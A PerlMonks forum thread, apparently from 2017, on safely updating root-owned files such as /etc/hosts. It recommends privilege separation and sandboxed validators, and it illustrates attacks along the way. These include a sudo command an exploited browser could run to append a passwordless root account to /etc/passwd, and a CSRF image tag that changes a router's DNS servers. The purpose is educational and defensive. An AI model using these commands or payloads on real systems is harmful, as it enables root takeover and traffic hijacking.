in reply to Re^8: Best way to write to a file owned by root?
in thread Best way to write to a file owned by root?

Well, I do have write access to /etc/hosts in that I can just run sudo vim /etc/hosts and change it that way. Now, if a hacker types in that command, sudo will prompt them for my password. I'd assume the hacker already has the password if he hacked in. But maybe I'm wrong in assuming that the hacker would have my password? Is it theoretically possible for a hacker to gain control of my user account without my password?

$PM = "Perl Monk's";
$MCF = "Most Clueless Friar Abbot Bishop Pontiff Deacon Curate";
$nysus = $PM . ' ' . $MCF;
Click here if you love Perl Monks

Replies are listed 'Best First'.
Re^10: Best way to write to a file owned by root?
by afoken (Chancellor) on Mar 15, 2017 at 22:48 UTC
    I'd assume the hacker already has the password if he hacked in.

    No.

    Is it theoretically possible for a hacker to gain control of my user account without my password?

    Yes. It's also practical. Surf the web, using a lazily written plugin or an old browser. A hijacked ad server exploits your browser or the plugin and can suddenly execute arbitary code with your privileges.

    Regarding sudo: sudo allows to run several commands from the same terminal within a short time, and prompts for the password only once:

    /tmp>sudo echo hi Password: hi /tmp>sudo echo look mom no password look mom no password /tmp>

    Yes, you can change that setting, it's hidden somewhere in the documentation.

    And you can get rid of the saved permission (it's just a timestamp):

    /tmp>sudo -k /tmp>sudo echo timestamp invalidated Password: timestamp invalidated /tmp>sudo -K /tmp>sudo echo timestamp removed Password: timestamp removed /tmp>

    Now, imagine this scenario:

    /tmp>sudo vim /etc/hosts # .... :wq /tmp>ancient-browser http://malicious.example.com/exploit-me/ & [1] 25125 /tmp> # exploited ancient-browser now effectively runs sudo sh -c 'echo "too +r::0:0:let me in:/:/bin/sh" >> /etc/passwd'

    sudo won't ask for a password here, and the attacker does not have to know your password.

    Using perl -e instead of an imaginary ancient-browser to demo:

    /tmp>sudo -k /tmp>sudo echo ask me for password Password: ask me for password /tmp>perl -E 'system "sudo echo look no password";' look no password /tmp>

    And yes, that's only one possible scenario of many similar ones.

    Imagine you install a few new modules from CPAN. You compile as user, not as root. But you have configured the cpan utility to run sudo make install to actually install the modules. Now think what happens after the first module has been installed via sudo, and Makefile.pl of the next module contains malicious code invoked via sudo. Right, it will be executed as root without prompting for your password.

    Another way:

    Many cheap DSL routers have bugs. And they have a web interface. Some don't even have a working logout. Most people run those cheap boxes with factory defaults, which often means the web interface is at http://192.168.1.1/. Now imagine a web page containing <img src="http://192.168.1.1/cgi-bin/setdns.cgi?dns1=1.2.3.4&dns2=1.2.3.5&dns3=1.2.3.6">. Would you see a 1x1 pixel broken image in a web page? No. But your browser will happily replace the DNS servers in the junk DSL router. That attack works surprisingly often, and after that, the attacker can redirect your browser everywhere, by sending wrong DNS responses.

    Knowing where your /etc/hosts updating CGI is located, this attack could probably also work there. A trivial counter-measure is to require POST requests for actual changes, that can't be done with a simple <img src="...">. But there are workarounds for that, too.

    Alexander

    --
    Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)

      Thanks for taking the time to explain this in such detail. So basically you are saying get rid of my little hack script because it adds a vulnerability. OK, I'll buy that. And you suggested earlier using a daemon to validate requests to make changes to root files instead. Now, I obviously don't have the talent (nor the year it would probably take me to learn how) to write something like that. Is there some tool or module already out like that that would allow me safely automate updates to my /etc/hosts file? Or do you recommend I just update it manually as I'm doing now with sudo vim?

      I do want to learn to do this properly because eventually I'd like to be able to run scripts that update things like apache config files (owned by root) on a live server. I'd like to figure out what it takes to do this kind of thing without introducing security holes.

      Thanks again.

      $PM = "Perl Monk's";
      $MCF = "Most Clueless Friar Abbot Bishop Pontiff Deacon Curate";
      $nysus = $PM . ' ' . $MCF;
      Click here if you love Perl Monks

        So basically you are saying get rid of my little hack script because it adds a vulnerability. OK, I'll buy that.

        From experience, some little hacks evolve to huge programs that are distributed widely, and this little bit of a messy hack is so deeply in its core, wrapped in more and more workarounds, that you can't get rid of it any more.

        I do want to learn to do this properly because eventually I'd like to be able to run scripts that update things like apache config files (owned by root) on a live server. I'd like to figure out what it takes to do this kind of thing without introducing security holes.

        And here comes the evolution of that little hack. ;-)

        Is there some tool or module already out like that that would allow me safely automate updates to my /etc/hosts file?

        I don't know of any. Webmin and similar tools allow editing, perhaps even automatically, but that comes at a price. Webmin runs a huge base of ancient perl code as root. That's far from being secure.

        Or do you recommend I just update it manually as I'm doing now with sudo vim?

        Well, if you are happy with sudo vim, use it. But it seems that you have a good reason for using a dedicated tool, and if only for the validation.

        I obviously don't have the talent (nor the year it would probably take me to learn how) to write something like that.

        Most of the code already exists or is at least outlined in this thread:

        The unprivileged user interface is quite easy. It reads /etc/hosts (let's stay with that file, but it could be any file, including Apache config files), creates a modified copy, places it somewhere, and tells the privileged service about a new job. This could be as easy as writing "/etc/hosts\0/tmp/hiuz8723rg978zt/etc-hosts\0\0" into a named pipe or a unix domain socket.

        The privileged service is just an ordinary program running as root, preferably with taint mode on, opening a named pipe or a unix domain socket. It waits for a job in the form $sysfile."\0".$tmpfile."\0\0" from that source, starts the validating process, and if that returns ok, changes mode and owner of the temp file to that of the system file and renames the temp file to the system file. It should be obvious that you need different validators for different files, so the privileged service has something like this:

        %validators=( '/etc/hosts' => '/usr/libexec/privileged-service/validators/etc-ho +sts', '/etc/apache/httpd.conf' => '/usr/libexec/privileged-service/valid +ators/apache-httpd-conf', '/etc/samba/smb.conf' => '/usr/libexec/privileged-service/validato +rs/smb-conf', '/etc/mail/aliases' => '/usr/libexec/privileged-service/validators +/mail-aliases', );

        If $sysfile is not in keys %validators, that counts as failed validation and nothing more happens. The privileged service simply returns to wait for a new job.

        Turing a simple program into a service is trivial if you use deamontools or tools copying daemontools. See my other daemontools postings and the djb way.

        The validators obviously depend on the file format, but in they end, they can be quite primitive, at least for /etc/hosts. You want that file to have a size of significantly less than 1 MBytes. Die if the file is larger. Read the file line by line. All lines should match exactly one of four patterns: comment line, only zero or more white space, IPv4 + hostnames, IPv6 + hostnames. Die on the first line that does not match any of those patterns. Exit with 0 if all tests have passed.

        Little details:

        You may need do to something after changing some files: /etc/hosts is harmless, /etc/mail/aliases may need newaliases, /etc/apache/httpd.conf needs something like apachectl restart, and so does /etc/samba/smb.conf. Other programs only need a simple SIGHUP. Consider a second hash containing post-change-commands. Some programs insist on being stopped before changing their config files, add a third hash for pre-change-commands.

        Even more links:

        perlipc for Inter-process communication and dropping privileges, perlsec for taint mode, and Secure Webmin and Building a web-based system administration interface in Perl for concepts of similar, but larger tools.

        Alexander

        --
        Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)
Re^10: Best way to write to a file owned by root?
by Anonymous Monk on Mar 15, 2017 at 15:46 UTC
    Would you care to find out the hard and painful way?
      Would you care to find out the hard and painful way?

      That's exactly the point. "It's my machine, only I use it, so I can take some evil shortcuts" works, up to a point. We don't need a very clever hacker if you run a local webserver with a /etc/hosts rewriting CGI and make that accidentally available to the internet, e.g. by misconfiguring the DSL router to forward port 80 to the wrong machine, or simply by connecting it to a network that actually uses non-private IP addresses (quite common in universities) and at the same time not limiting the webserver to localhost. Such accidents happen. Or worse, pass your "/etc/hosts hack" to someone else who does not understand why access to the CGI must be limited.

      Now, imagine one little error that allows overwriting /etc/passwd instead of /etc/hosts. It's like connecting an unpatched Win95 machine to the internet.

      Yes, you could do a lot of work to prevent that, in a setuid program. But then again, one typo may open a hole. Perhaps even without any warnings or errors. Experience shows that programs grow, and complex programs tend to have very unexpected errors. Which gets quite worse quite fast if the program runs setuid or setgid. sendmail and bind are examples of complex, hard to maintain programs that have a huge trail of security problems.

      Privilege separation prevents programs from doing bad things. Not perfectly, but better than running everything in one program. Giving out only the required privileges ("principle of the least privilege", see the OpenBSD PDF link elsewhere in this thread) prevents gaining privileges, like a parser running amok suddenly overwrites /etc/passwd just because it was fed invalid data. And finally, combining lots of small tools for a big job is one of the strengths of Unix. Small tools tend to have a manageable amount of source code. That allows to peer review, test and verify the tool up to the point where you can be very sure that the code does not have bugs.

      Yes, it might look like overkill for editing /etc/hosts. Nevertheless, it's not that hard to do it right instead of doing it quick and dirty. Unix makes it quite easy, because you can easily drop privileges.

      I've already linked to postfix, let me also recommend reading the documentation of the Unix tools made by djb (qmail, djbdns, daemontools, and ucspi-tcp) Yes, the documentation is terse, you won't find a word that is not absolutely necessary, and you should read it more than once to fully understand it. The code looks like a mess, but again, it's terse, every single character has its purpose. And apart from djb insisting on errno being defined as extern int errno (which is only one of many possible implementations), it is in fact very clean. All of the tools make great use of the core features of Unix to build secure, networked software.

      A very cheap trick for the validator in the privileged service from Re^4: Best way to write to a file owned by root? is to run the validation of the new file as unprivileged user. Because the service runs as root, it's easy: fork(), and in the child process, open the file to be validated as file descriptor 0 (STDIN), close all other handles, set euid, fuid, uid, egid, fgid, gid to nobody/nogroup, perhaps chroot() and chdir() to an empty, unwriteable directory, then exec() the validating code. The privileged worker process waits with a timeout for the validator to return either successful (exit code 0) or not successful (any other exit code). If the timeout (alarm, sigaction) occurs, kill the validator and treat the validation as failed. If any evil input makes the validation code run amok, it runs in an empty chroot as nobody, so it can do almost no harm. If the validator hangs, the timeout will kill it soon. No halting problem to be solved. Error handling in the validator code is also very easy. If anything looks fishy or can't be parsed, just die, ASAP. The OS will clean up after your process.

      Alexander

      --
      Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so". ;-)